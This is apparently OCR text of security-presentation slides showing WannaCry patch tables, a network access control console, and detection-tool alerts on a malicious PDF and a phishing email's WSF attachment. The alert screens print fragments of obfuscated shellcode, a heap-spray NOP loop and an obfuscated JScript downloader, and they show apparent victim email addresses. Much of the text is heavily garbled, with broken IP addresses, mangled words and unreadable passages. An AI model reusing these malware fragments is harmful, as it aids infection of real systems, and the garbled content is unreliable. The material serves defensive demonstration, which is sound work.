Step 3 &
Patch

Security Updates

To determine the support life cycle for your software version or edition, see the Microsoft Support Lifecycle.

Product &

Windows 7 for 32-bit Systems Service Pack 1

Windows 7 for x64-hased Systems Service Pack 1

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

xR

Platform

=
TR

Article

4499164
4499175
4499164
4499175
4499149
4499180

4499149

indows 10 ¥ &

Download
Monthly Rollup
Security Only
Monthly Rollup
Security Only
Monthly Rollup
Security Only

Monthly Rollup

Windows Server 2008 for Itanium-Based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1

4499180

4499149

4499180

4499149

4499180

4499149

4499180

4499164

4499175

4499164

4499175

Security Only
Monthly Rollup
Security Only
Monthly Rollup
Security Only
Monthly Rollup
Security Only
Monthly Rollup
Security Only
Monthly Rollup

Security Only

Impact

Remote Code Execution

Remaote Code Execution

Remote Code Execution

Remote Code Execution

Remote Code Execution

Remote Code Execution

Remote Code Execution

Remote Code Execution

Remote Code Execution

E

Critical

Critical

Critical

Critical

Critical

Critical

Critical

Critical

Critical

4493472

4493472

4493471

4493471

4493471

4493471

4493471

4493472

4493472
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Step 4 Bl

k

E =

At

FEIEEHRS MEBTR

Threats
Host =
< WORKGROUJ.

Q. State Any v
IPv4 Addr... Segment Reason Expire... State =) Targel... Blocke... :“3‘ MAC Address Comment Display Name Switch IP/FQ... Switch Port...  Switch Port ...
192.168.82... Client Network Port bite 11:59 monitored 3389/TCP None Q 000c29213263 192.168.804.... Gi1/0/1
Detection events:
Port bite ((Virtual Host) 192.168.81.11:3389/TCP)
Port bite ((Virtual Host) 192.168.81.20:3389/TCP)
Port bite ((Virtual Host) 192.168.81.24:3389/TCP)

Port scan (TCP Horizontal) (192.168.81.6:3389/TCP, 192.168.81.5:3389/TCP, 192.168.81.4:3389/TCP, 192.168.81.3:3389/TCP, 192.168.81.2:3389/TC...)

Press 'F2' for focus
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1T Restrict

B Notity -]
All Hosts & Audit > - Onln&\Offling v 108 OF 108 HOS

‘ 2o Authenticate ’
Host» ay Name

) -

Switch IPFQDN a MAC Addres Function Actions

< All Hosts (108)

0 e  NakCorp-WHE b 10.0.22 9.Gi0V28 18dp88al7¢92 Computer B
il Policies o
B NakCorp-W @Regmct > A0 Access PortACL 1SEesarsn’4 Computar EE
> it History
*  NakCorp-wik 12p8assE 71 Computer 7%
& Aws > ) Assign to VLAN
. NakCorp-Wig! 1Bgps

¢  NakCorp-WH a Palo Alto Networks Next-Generation Firewall > e» Endpoint Address ACL 1 13dbagess5an Computat

®
G
b
o
-

Computer

Computer

*  NakCorp-Wi ServiceNow > ) RADIUS Authorize sy 74
®  NakCorp-Wh 18gpetaldbd; Computer
» VWMware NSX > e» Switch Block

sasaaa

-
O
o
o
w
a
“
o
n
‘-~
o

®  NakCorp-Wh Computar B

. HAFCC.’C?)N" u t‘::_: VMwara ‘v’an‘?f‘? 5 .': VPN Block SR 88¢81936 Computer E?’ >

Profile X Cancel Actions > i Virtual Firewall

Add To List WLAN Block

4«

Computar
s Recheck * WLAN Role

Delets

& Clear Detection
Filters S
Genaral ¥ Comment 2001:1706,a1b¢200
|LIzar
kel Information >
= All o
> @ Segments (108) Network Acces Threat Protaction )

> B Organizational Units

SN AN
%
;

Applications Exceptions >
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All Hosts

. e 1w
« Al Homa O
. NaxC orp-W
Pahte
=, . Nax P\
History
. NS op-¥w
. N -
. Nak oW\
. NavC oW
. NavC WY
. NaxCom-wWii
e NaxC onp-wWi
Protie
FRers
Goaners
| i
» A
- A
& Segments (108 Network Acces
|~ N o "y ans i ‘.
QIganizasonal Unity Apolicason

{TRemediate

-
8§ Audn
R ALmentic 3¢

+ Romedate

@ Remnct

& Aws

-
IB Paio Alto Networks Nex-Generation Firawall

rs
”~

: K Cloud Sorage on Wnodow

¥l Inptart Messagng on Win

on Windows

Kl Paartp-pes

B Servicetion

® VWiwara NS

[« VWAware vSphass

© intormancn

Thram Protection

Exceptions

-

-
-

(833 On Linux

Kal Process on Macintosh
Kl Process on Windows
Run Script on CoumetACT

=un Snpt on Lings

un Script on Macintosh

Run S¢npt on Windows

Scan and Remedats Known 10C

Sat Regiavy Kay on Windows
SAan Antivirys on Windows
Start Macinmtosh

platel

SEart Wandsws | Indats

et
N
ompuier
mputar
mnLrar
puJ
eIt ¢
pu
senniddr
LS
~ oy 1
Py

et
puUter
- .
nOter

".'1(.' ";14';11'71!‘
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All Hosts

&
o
b 3
w

<4 tw

< All Hosts (109) ~
; . NakCorp-Wk

i Policies n
. NakCorp-Wk

i History

®  NakCorp-Wk
. NakCorp-Wk
. NakCorp-Wk

. NakCorp-Wk

B NakCorp-Wk

Usar
= All
- -~ ’e Al Na MK ACCE
& Segmeants (109) v
Oraanizatonal Unitz |
Organizatonal Units Applications

R Notity

® Audn

'e Authanticate

ey —

-o
a o Offihe v 108 OF 108 HOST
4 HTTP Notification = x . - —o i
» S
4 HTTP Radirection to URL

MRC Addr Funct Act

B Send Balloon Notification ST

3 RS C LS A A S LI VR A CE

® VMware NSX

Deleta
# Claar Dataction
" Comment

0 informaton

Threat Protection

18gp88al7co2 Computer | 2

& Send Emall 184 4 Computet | 7%
== Send Emall to User ol il il PC
= r8gpeseat 49 Computar B
B Sana Touncanon [0S X) r2dbe8c8b6at Computer Y
ardugo 10.0.29Fav3 18dbB88667832 Computer [E. :
- ox 1 124b88al dbd mputer B
1 18db8 omputer | 2.9

Polzin 10.0.22 9:Fa0/§ f8db Computar B

<«

ymain: Nakatomi Function: Computer
'stem: Windows

* N
3

*

L
.
1
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SENEZSLSR

s LB - SR H B EETTEE - {FIHkeSE - FAB ~ IOTE 2R

WIB AT 2 BEEMSHE)R L EWindows KB Patch S(BARIFT EPort et * FFAITILUERET
DI ELAnEs s pd EEfR DA B e R TR AR IR K

KIREZ S HaEPolicy RIN—BANFEHWindows Update P LAEE W IRGEH » BREEEER
BRI > BT LR 2 EEEVLan

IR E LS EEPolicy RN H B i i B T A S R 5T » BREE S ERAT]
B BT LAER 2 & EEVLan

&5 APTIIRE > JEHENERERAG B ZeroDay IG5 B CHESE A I B 2kl » AR IE
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#@=3: Unknown Protocol @& » ¢-PDF# © 448 » & &, JavaScript

F] D E l_| S (PS Dashboard Alertsv Metadatav Reportsv Policiesv System v 12:23 admin v ® O
Metadata / Explore / Default Filter* v E SaveFilter | 88Layoutv = & Expont
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X-Axis Sequence v =
92.48.210.237 = - Protocol
[: User Labels | No Selection 2 S 3R 2 f}] = B P "
22018150217 ya ya 19 38 I B ~4E Ug\z‘ B F UnknownProtoco
Color by Protocol »
211.150.848 ¢4 NAAA
lF UnknownProtocol*
1921682112 P22 A
192.168.2.101 \
192.168.10.10 I | ITlA |T14 M \ 1 4
? .16.16. g Action alent \ L V 4
l "“““} Client \ Server \ -‘
TRPRERE 17216161 | 818 s gz - = Creation Date FriDec 18 11:46:52 2009 UTC
’ . —— | 924820028 Filesize 3185
10.1.32.10 U v v e e Filetype javascript
MD5 01d9e0302481dc7996bfde45e616
Duration <1 second dea?
Q
=l Sensor ?”“‘ Modification Date Wed Dec 23 20 5424 2009 UTC
Q Session Start 2016-03-1011 5842 S c fy Netherlands PDF A gﬁ J S =
2 R 2 ‘g
Timestamp 2016-03-1011:58:42 Tag FSS_PCI Unapproved Applications; *g % m ? i S avaocCril pt !
= 1 Transport TCP FSS_Suspicious JavaScript in PDF =
&8 Tabular View v \ Title #4738 Metadata Details v AV
Timestam Action Protocol Client IP ( D Session: 6260268406261731976 Sensor: Direct Related Alerts:

4 Decoding Path F.UnknownProtocol*/client:pdf(-JavaScriptString.29) javascript o ;
2160310115642 aen F UnknownProtocol® 17216161 1 Fiename Javascriptsing 29 PO oecodiogpatbs
201603-1011:58:42  none F.UnknownProtocol* 192.168.2.112 < TUSTT 730 BU F-UNRMOWNPTOTOCOT T 5 = pdf =

= attributes f
2016-03-1011:58:42  none F.UnknownProtocol* 192168.2.112 - 103.11.746 80 F.UnknownProtocol*/... | CreationDate = Fri Dec 18 11:46:52 2009 UTC
2016-03-1011:58:41 none F.UnknownProtocol* 172.16.16.1 - 9248.210.237 34530 F.UnknownProtocol*/.. | § ModfficationDate = Wed Dec 23 20:54:24 2009 UTC
2016-03-1011:58:4) alert F.UnknownProtocol* 172.16.16.1 - 9248210237 34530 F UnknownProtocol*/. | § Thle = fchrd
i - - - N -~ 2 = Filename = -JavaScriptString.29
2016-03-1011:58 none F.UnknownProtocol 192.168.2.101 103.11.746 80 F.UnknownProtocol*/.. 2 Dm S F.UnknownProtocol® client
B 2016-03-10 11:58:4) none F.UnknownProtocol* 192.168.2.101 - 103.11.746 80 F.UnknownProtocol*/. | § " = o pdf(-JavaScriptString.29)
2016031011:5841 | none F.UnknownProtocol* | 10.1.32.10 - 22018159217 80 F.UnknownProtocol*/_. | § - atirites
o CreationDate = Fri Dec 18 11:46:52 2009 UTC
2016-03-1011:58:41  none F.UnknownProtocol* 10.1.32.10 - 220.181.59.217 80 F.UnknownProtocol*/.. |3 ModfficationDate = Wed Dec 23 20:54:24 2009 UTC
2016-03-1011:58:40  none F.UnknownProtocol* 172.16.16.1 =» 9248.210.237 34529 F UnknownProtocol*/_. | § Thle = {:ho 8
2016031011:58:40 | alent F.UnknownProtocol* | 172.16.16.1 - 9248210237 34529 F.UnknownProtocol*/.. | § flenaie =-Tvestiptitig 29 IS
A = @ javascript
201603-1011:58:40  none F.UnknownProtocol* 192.168.2.112 - 103.11.746 80 F.UnknownProtocol*/.. | § = attributes
2016-03-1011:58:40  none F.UnknownProtocol* 192.168.2112 - 103.11.746 80 F.UnknownProtocol*/.. | §
! o = o pdf
_l 2016-03-1011:58:39  none F_.UnknownProtocol* 192.168.2.101 -» 103.11.74.6 80 F.UnknownProtocol*/.. |8 ¥ = p“ ez Y.
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g3 Unknown Protocol i@ » enPDF#§ © #te » & & JavaScript

Fl D E Ll S (PS Dashboard Alertsv Metadatav Reportsv Policiesv System v 23 admin v () @ O
Alerts ~ List = Alert #5283 & Export | S Tune | B8Layout
€Back 1o0f2Alerts | Next> £ Find Metadata Q Q0 I & defauit B NoLabel M New & unassigned EPurge ©O0 @ X
-
Src(Client) | FUNKNOWN.. | et (Server) Forensic Data m Hex| & v
17216.16.1 . 92.48.210.237
—J function urpl(sc){ 2 s
s %% JavaScript #2 X 4%
2]
var re = /2/g; NN N\ T "
sC = sc.replace(re,keyu);
[ Severity €3 MEDIUM \ 3 bl
return sc;
Alert Time 2016-03-1011:58:42 }
Rule Name FSS_Suspicious JavaScript function StringBuffer()
in PDF {
Summary Suspicious JavaScript dete this._strings = new Array;
cted in: -JavaScriptString.2 }
9
Decoding Path £ ynknownProtocol*/client StringBuffer.prototype.append = function(str)
“ pdf(-JavaScriptString.... {
w javascript this._strings.push(str);
return this;
5 . }
v Additional Information
f Filename -JavaScriptstring. 29 ' Stringsuffer.prototype.tostring = function()
: {
Filetype javascript
lietype } P return this._strings.join("");
Filesize 3KB }
MD5 01d9e0302481dc7996bfde
45e6f6dea7
. S
stringsuffer.prototype.length = function() A=
Alert UUID 7fae5e31-e674-11e5-a190- {
i 22:‘3‘299"'9‘“ var st = this._strings.join("");
oo return str.length;
Insert Time 2016-03-1011:59:35 }
Age of Alert 24 minutes ago var unessunescape;
Threat Score 50 var sc = unes(urpl(NZC8doNZT4doNIf424%ze7baNZd3dbRZ29bCNZSfCINzofbINZST31NI8314%72708%2443182376CRZ5052582d8e74ZDCd3%Z930f ZbCd1RZS2e74I4896%2a8188204275211d4%Ze759%I3b0FAZbCd2NIS2e7XIS096%Z2e18%52d427%2d8a8%20314%Z0b0FAZDCd2NIS2e7XI5496%Zae18RK2d427%2Cca2%
Compression 0 2C0d3%Z1b0FXIbCd2NIS2e7XIS8I6NIae18XId427XI404a%Z63aeNI6bRfAZbCI2NIS2e7XZ5CI6%2ae18%2d42742034bNZCARINZTDOFNZDCA2NIS2e7XI6096%Zae18%Zd427XZbef1XZac29%Z4bOFRIDCI2NI52e7%I6496%2ae18%2d427%2a2f8X25409%Z5bOFXNZbCd2XI5 26742689642 3e18%2d427%Z4c1¢ckZbI2eNzabefkzbed
2NI52e7RI7096% 238 18%Zda27NZ4C0DNZbodeNZbbOf N IbCd2NIS2e7NZ0496%2ae18%Zd427NIfo11XICO6aNIebOfaZbCd2NIS2e7RZ0896%2ae188Id427XI6264%ZC4660Io00fNZbCd2NIS2e7421096%2ae18KZd427XZCCOINZCTSCNIebRf ZbCd2RIS2e7RI7896%Zae18XZd427RZ257FXZb259XIFbOFRZbCI2RZS2e7XITCI6RI2
Session D 6260268406261731976 0042735002568 30Z1Co6NI80DTAZeo2CNzIe607NI4e23NZ0besnIS2a6NIa068NI3573%Z27a282374a%2273a%Zee820zI8e18NT356bNI73a252ee4a%I89b5NICo2¢NZ2447AI6086%I866a%I2543%28805%ZCo2CNI241bNZ1436%23018%24373%203025ZF958RZ9b4fNZ84524ZF5a1NZd489NZ2C92NIC4528ZF8e3RI3dd5KZaefel
Action ALERT 231308207978 C58NZS2efNI44960Iae6eNI3177NIdbE2%I4320%I8b18NZ2CbbNzdbeskI43d3XI37b2NI395eKI25e7AZ432¢NI24bTNZS4868I5020KZ42d3%22418KZdF92528995%23914%225e30Z432cNZe883%292e1%250204242dbNZ2418%2e496%2dba2XNzbcbIXZd98a%ZbebINIdbEdNZIbFbINZAbEFAZbed3RIS6a7XZbCS
CommandPost Console BNz 2419%ZeC2CNI8e18%Z35374T47320IC58%I5043%Z3720%223aa%Z11b3%22364%ZC8d3Nzere2NI660fNI013bNIfS78NI9238%I5331%24286%8Zef81Nzae18%Iea2bNIae18Nz434fAzefb2NI43850Z6fb2NZCo2CNZ247bNI7086%I58200242d3%22418%2dF92%28995K23914A22503%2432¢NZe883%29221%25220%242dbRZ
Component Name Direct % 418%7e496%Z0ba2%NIbCbINISe6a%I4203%22418%22083%I24774I7C86%28018%Id6175I80eTNIe92CNI884bNIea86%I50bRNII8bINISOfFAIs096%I8foCNIcadENIoeedNIfEs8NISOfFNIoCEo%I0se4%I8e30NIS0aENITeTANI2e 4N24360%Tes10%I1013521FddNIbbaTHI1426%Z0FdeNT301FXZ8721%2FFIDXNZCICTRISOREN L}

Component IP

192168.11.112

29889%206e4%237b5XZ90ebNZes58%Zd8FbNI370eX250e3%279d0NIdI0CKI7ceeNIoescNze28Cc%I80baNIba11XI8deTAZ1dbTRIAbATRZbCAINI1D62%ZbRabNZIbECNZITAFRICTITRI377eX2d3a7RIDS38RIIDECNIITeTRI63674Zbcd3%I85eTRI2C1e"));

var nop = unes("\x25\x75484a\x25\x75f999");
var buffer = new StringBuffer();
while(nop["\x6c\x65\x6e\x67\x74\x68"] <= 35888)

{
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Metadata B555[E1 / 381 (Historical
Analysis)

3/221 - RMEAFIEREWE - HRBIBEEREILIREERSEHS
BETER i Mz R B EMetadata

;:id e li S Dashboard v  Alerts v {adat Reports v  Policiesv  System v : admin v (;. ® O
Metadata Explore  Default Filter .. @ Actions» 88 Layout v
Time Range + Q| Advanced
Time  Mar 22,15:23:01 -Mar 22,161801 & Transact TioYofl mo,‘iﬂ,‘.@;f v Sor g Time Des v Solle colleclo(savm'
B8 Tabular View v (0 Columns +
Timestamp « Action Protocol Chent IP Dir Server IP Server Port Filename Filetype MDS
: I 201703-2215:48:01  alent SMTP 180.234.0.202 — 172.16.11.22 25 scan_35625_pdf.ex exe d3f9e364aec89c7024368773f6f8C iaI
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Metadata K>S /

- .
;" Idells Dashboard v
Alerts = List  Alert #79817
& Back 190of 85 Alerts <Prev | Next>
v Additional Information "
Filename scan_35625_pdf.as
l-=l,, le
ile 108 KB
Malware Name Trojware.Win32.Zmuizy.fss21
Malw Tyr Trojware
MD5 673ba%6
HA256 471a18c
Aler D b757a702-131c-11e7-8499-
90b11¢290cf7
Alert 1D 79817
nsert TumfE 2017-03-28 13:54:25
Age T a month ago
Compression 0O
Entopy 7.996
Session ID  6400226597977650396
A n alert
1andfP Console
omponent Name  internal_jenovo b

3/28BBIREEME -

i

Metadata -~ Reports v Policies ~ System v

= Find Metadata (7] L) (&) o

Violation Information

Policy Collector Feed

Fidelis ITW High Impact
Match detected with Fidelis ITW High Impact by collectorsa-dell

Matched On

Fidelis ITW High Impact

Fidelis ITW High Impact
Attribute Value
MD5 673bat668dalbe7cec3bbale037i782a

Related Alens

Malware Information

are Name: Trojware Win32.Zmutzy.fss21

e Trojware

R BEEETT

¥ (Historical

admin v

& default B N B New

Label

A1 1 W 35 3R IE AR S A

‘ unassigned

e o

& Export 28 Layout

& Purge

Highlighting

—_——

SREE
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Clicnt IP
10,300,423, 204
10,3068, 178
10,30,42, 143
10,300,458, 187
10,3028, 193
10,30,50,49
10.30,52.75
10,30,27.99
10,30, 27,135
10,3034, 45
10.30,55,201
10.30,50,28
10,3034, 11
10.30,64,25
10,30,50,29
10,300,734, 1 2%
10,3038, 184
10.30,55,26
10,3038, 165
10.30,57.211
10.30,204.12
10,300,523, 38
10,30,50,27
10,304, 38

10,3028, 19
10,300,477, 230
10,30.4, 34

BN P AL E EiZkWannaCryRy T #%(Kill Switch Query)

Direction
==

A
W

v

A

A
W

W

A
W

W

A
I
I

A0 A
I
L

A

A

I
LI | |
W

W

(|
L |

A
v

A
I
I

v

A
I

W

ServerlP

104, 17,37,
104, 17,37,
134,17.41,
134,17.41,
104,17.37.
104,17.37.
104, 17,39,
104, 17,39,
104, 17.385,
104, 17.385,
19,1741
10,1741,
104, 17,39,
10, 17,39,
10, 17,35,
10, 17,35,
104, 17.37.
10, 17,37,
10, 17,38,
10, 17,38,
10, 17,44,
104, 17,440,
13,1741
10,1738
10, 17,38,
104, 17,440,
104, 17,440,
134,17.41
134,17.41,
104, 17,440,

S S T S T A S T A My Ty S Wy S T N S T Wy A S T T O T Ty gy <

el Lad

el Led

e Ll e Led

el el d Led Led Led Led

Lad Lad e Led Led Led Led Led

e L e L

e Ll Ll

wd wd wd ] wd wmd ed wd el wd e wmd wd el wmd el wd wd el wmd el el el el wd wd W] wd

-

Serverfon

ServerFODM

B0ranasw,
B0ranasw,
S0ranae,
S0ranae,
[{ LRSI TICTER
S0ranasw,
S0,
S0,
S0,
S0,
B0 e,
B0 e,
B0 e,
S0 araw,
S0 araw,
S0 e,
S0 e,
S0 e,
S0 e,
S0 e,
S0 araw,
B0ranasw,
B0ranasw,
B0ranasw,
B0ranasw,
[{ LRSI TICTER
S0ranasw,
S0ranasw,
S0,
S0,

ivgerfsodpSifiaposd ChEosurl jf aewmw crew c R CoT
ivgerfsodpSifiaposd ChEosurl jf aewmw crew c R CoT
ivaerfsodp@ifiaposd O Eosuri i pew rs crew ce. Com
ivaerfsodp@ifiaposd O Eosuri i pew rs crew ce. Com
ivgerfsodpSifiaposd ChEosurl jf acw ey craw ce. oo
ivgerfsodpSifiaposd ChEosurl jf acw ey craw ce. oo
ingerfsodpiilaposd Dhrosurf o wrw crew cE. com
ingerfsodpiilaposd Dhrosurf o wrw crew cE. com
ingerfsodpiilaposd Dhrosurf o wrw crew cE. com
ingerfsodpiilaposd Dhrosurf o wrw crew cE. com
ingerfsodpShiijaposd DhEosur)f e wmw Crew ca.com
ingerfsodpShiijaposd DhEosur)f e wmw Crew ca.com
ingerfsodpShiijaposd DhEosur)f e wmw Crew ca.com
ingerfsodpSiiiaposd DhEosurjf acwmw crew ca.com
ingerfsodpSiiiaposd DhEosurjf acwmw crew ca.com
ingerfsodpSiiiaposd DhEosurd acwrw crew ca.com
ingerfsodpSiiiaposd DhEosurd acwrw crew ca.com
ingerfsodpiiijaposd D Eosur jf e wmw crew ca.com
ivgerfsocdpWifjaposd D hEosurjf acw s crew cn. com
ingerfsodpiiijaposd D Eosur jf e wmw crew ca.com
ingerfsodpSiiiaposd ChEosur jf acwrw crew ca.com
ivgerfsodpSifiaposd ChEosurl jf aewmw crew c R CoT
ivgerfsodpSifiaposd ChEosurl jf aewmw crew c R CoT
ivgerfsodpSifiaposd ChEosurl jf aewmw crew c R CoT
ivgerfsodpSifiaposd ChEosurl jf aewmw crew c R CoT
ivgerfsodpSifiaposd ChEosurl jf acw ey craw ce. oo
ivgerfsodpSifiaposd ChEosurl jf acw ey craw ce. oo
ivgerfsodpSifiaposd ChEosurl jf acw ey craw ce. oo
ingerfsodpiilaposd Dhrosurf o wrw crew cE. com
ingerfsodpiilaposd Dhrosurf o wrw crew cE. com
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(FHIESMERIP 182.187.3.46 %48 SMTP Fa B EM 4 2 NENMEF

Dashboardv  Aleris Metadatav  Endpointv  Reportsv  Policiesv  System v 13:50 admin v [)o @® O

Alerts / List RL_Group*v B Save & Export

All Data v (o QRN TN Protocol = SMTP | Severity = Critical | SrcIP'= 162250175154 | Filename = AA-120-RRwsf

Time: May 19,14:48:19-Jun13,13:50:02 & Alerts:1to10of1 100 per page v <Prev 1 Next> O Threat Score Refresh: Off
»  Alerts GroupBy| [MColumnsv |#” Charts «
2 >
®
8 Alert ID Alert Time Severity SrcIP Src Port DstIP DstPort | Protocol From To Filename -
o n
oy) c
= @ 47843 2017-060919:41:02 O 182.187.346 57273 10.30.99.112 25 SMTP anna.mills@paignton-court-hotel.co.uk myhsu2004@cgmh.orgtw  AA-120-RR.wsf g
o
<
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IS AT DM

Src (Client) SMTP Dst (Server) Decoding Path & Channel Attributes Safe Download [C]OF]
182.187.3.46 & 10.30.89.112
‘ - 57273 25 Bl CGMH , v DNSResolution
i [F @® thunder.cgmh.org.tw Server FQDN  thunder.cgmh.org.tw
v SMTP & Download
everity @ Critical R
UL, {8 E: Copy Credi
lhreat Score 4] == Thunder.cgmh.or {tF_ Opy re It NOte
Alert Time 2017-06-09 19:41:02 Mﬂ"”s T h I k
inl %ﬁ:%‘ Anna ills@paignton-court-hotel.co.u
Rule Name Malware Detection Engine B 2004
ey Devectedimahware using 5§ AmoMOE Suspicfil WL T XXXXX @XXXX.XXX.TW
Scnpt v mime & Download
4ing Pa SMTPIT! Subject Copy Credit Note
X n s Message-ID  <168959716209274889671E3BD50FDDE36B3CA8@sbserver.paignton-court-hotel.co.uk=
= mime

)m  Anna Mills <anna.mills@paignton-court-hotel.co.uk=

. User
@@%° 874636'Z|p Return-Path anna.mills@paignton-court-hotel.co.uk

BR4ERE: 874636.zip T
EEFER: AA-120-RR.wsf

 multipart[2]
- mime(874363.zip.b64)
b haseb4(874363.2ip)
= zip(AA-120-BR.zip)
b Zip(AA-120-RR.wsf)

Anna Mills <anna.mills@paignton-court-hotel.co.uk=

<myhsu2004@cgmh.org.tw=

874363 zip

at: WSFtE &Windows Script File - X{FAd o] & ajsﬂ]vbsﬂ fZA - MEZECRRESENRAwsIXX G PET

TIEE
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Malware Information v

Malware Name: Trojan-Downloader.JS.Agent.nzf
Malware Type TROJWARE
Behavior Trojan-Downloader
Platform JS

Simple Name;  Agent

Variant: nzf

Description: Programs classified as Trojan-Downloader download and install new versions of malicious programs, including Trojans and
AdWare, on victim computers. Once downloaded from the Internet, the programs are launched or included on a list of programs
which will run automatically when the operating system boots up

Information about the names and locations of the programs which are downloaded are in the Trojan code, or are downloaded
by the Trojan from an Internet resource (usually a web page).

This type of malicious program is frequently used in the initial infection of visitors to websites which contain exploits.

FidelisH|Brzz wsfiE 2 &
JavaScript R EFE=L - Trojan-
Downloader

FEFEABE A ABEGATE4EEE TS
=Yg

=

.ls;l

o

P72 4ad

AAISEEFATRD

Forensic Data 0 Hex &

{xml?>
{package>
<job id="DIXkuVrTLht'><script language='J]Script'><![CDATA[

var mainArray = new Array(65,2,2,2,66,55,56,57,58,59,60,61,62,63,64,2,2,2,2,2,2,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1
8,19,20,21,22,23,24,25,26,27,28,2,2,2,2,2,2,29,30,31, 32,33, 34,35, 36,37, 38,39,40,41,42,43,44,45 ,46,47,48,49,50,51,52,53,54
)
11>¢/script>

<script language='JScript'><![CDATA[
Paty MY 'SY,CSTEPIDO’: °X', ('BOBBY':'sponse’,'77’

var beamboxcossackHubble = { e 3BRNA N YE

@ee':'r'};

for(var 1=0;i¢43;i++){
mainArray.unshift(2);

¥

for(var i=0;i<133;i++){
mainArray.push(2);

¥

var beamboxcossack5lololosh="1";

abbida = 'fromCharCode';

var StringCompare = "SGVyZVRoZXJIMT1mdwSjdGlvbiAgKEhlcmVUaGVyZTkpDQp70Qp2YXIgSGVyZVROZXI1MI1XU2NyaXBalyIDemVhdGYPYmplY3QiXSgi
QURPREIUU3RYZWFtIik7DQpIZXIIVGh1cmUylyJ@eXB1I189M]sNCkh1cmVUaGVyZTIbIkNoYXIZZXQiXTeeMzc7DQpIZXI1VGh1emUylyIveGVuIl@oKTsNCkhic
mVUaGVyZTIbIkxvYWRGcmItRm1sZSIdKEhLcmVUaGVy ZTkpOwBKdmFyIEh1cmVUaGVyZTEWPUhIcmVUaGVYZTIbI1I1YWRUZXh@I107DQpIZXI1VGhlcmUyky]joG

Q20 dVALanA .. VDL A_TCLY WAL AL T T CALL LD V3 LT A “/IT AL I ATNeA L w10 2L T LT oV AL aLY LL ML L B -T't“/d Lo Thdn
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Metadata FEFA :

Dashboard v

Alerts v Metadata v

Endpoint v

EITEIGEEGRE

Reports v

Policies v

System v

ve o

admin v

Metadata

Explore

Default Filter *

| All Data +

t =Copy Credit Note

Time: May 19, 00:00:00

-Jun13,14:05:21 &

I Graphical View -~

49.248.205.241

223.190.110.23

anna.mills@paignton-court-hotel.co.uk

Subject: Copy Credit Note

wsf

myhsu2004@cgmh.org.tw

v

anna.milis@doico.co.uk
Subject: Copy Credit Note

wsf

AAD4B-RR wsf

walice @cgmh.org.tw

100 per page v

AA-D48-RR. wsf

Time Des v

anna.mills@doico.co.uk
Subject: Copy Credit Note

wsf

walice@cgmh.org.tw

AA-147-RR wsf

anna.mills@dis..
Subject: Copy...

chuang88@cgmh...

LLSubject : copy credit notefiFiletype : wst i 2 {5
E—AREATE A & A HERE R E s AHE

>

[ foofs ==

LI -—I'—A/I

£+ Actions = 2% Layout =

EXEI QRefine

Simple

ector: collectorsa

X-Axis Sequence -

User Labels 1 Selected

Color by Protocol

J smTe

<Prev |

HE

=

=

=R \\:IZI'7_<§X R

||||«
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—idelis

Dashboard v

Alerts v

Metadata ~

Endpoint v

Reports v

Policies v

System v

admin v

ve o

Metadata Explore Default Filter * « £+ Actions~ 28 Layout -
All Data ~ Q | Advanced
Time: May 19, 00:00:00-Jun 13,14:08:13 £ Tra ctions: 1104 0of 4 100 per page v orting: Time Des v collectorsa
B8 Tabular View 0 Columns «
Timestamp Protocol Client IP Dir Server IP Server Port From To Filename MD5 Subject
2017-06-09 19:51:15 SMTP 49.248.205.241 —p 10.3099.112 25 anna.mills@discountjunky.. chuang89@cgmh.org.tw AA-147-RR.wsf fd8aadacafea5d88.] Copy Credit Note
2017-06-09 19:46:54 | SMTP 223.190.110.23 — 10.30.99.112 25 anna.milis@doico.co.uk walice@cgmh.org.tw AA-048-RRwsf  bd4a693157b07b. Copy Credit Note
2017-06-09 19:46:53 SMTP 223.190.110.23 — 10.3099.112 25 anna.mills@doico.co.uk walice@cgmh.org.tw AA-048-RR.wsf bd4a693157b07b. Copy Credit Note
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